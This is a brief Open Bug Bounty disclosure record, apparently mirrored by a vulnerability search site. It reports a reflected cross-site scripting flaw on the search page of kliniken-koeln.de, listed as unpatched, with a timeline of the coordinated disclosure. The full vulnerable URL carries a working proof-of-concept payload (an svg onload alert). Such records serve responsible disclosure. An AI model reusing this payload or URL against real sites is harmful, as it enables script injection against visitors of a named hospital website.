Lucene search

K
openbugbountySecuNinjaOBB:280655
HistoryAug 20, 2017 - 4:53 p.m.

kliniken-koeln.de XSS vulnerability

2017-08-2016:53:00
SecuNinja
www.openbugbounty.org
6
Vulnerable URL:
https://www.kliniken-koeln.de/Suchergebnisse.htm?searchterm=%22/%3E%27%3E%22%3EI%3Ci%3EI%3Csvg/onload=alert(/openbugbounty/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 18.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 601354
VIP website status: No
Check kliniken-koeln.de SSL connection: (Grade: B-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 20 August, 2017 16:53 GMT
Generic security notifications sent to website owner 20 August, 2017 16:56 GMT
Customized security notification sent to website owner 20 August, 2017 16:56 GMT
Vulnerability details disclosed by researcher 18 November, 2017 17:43 GMT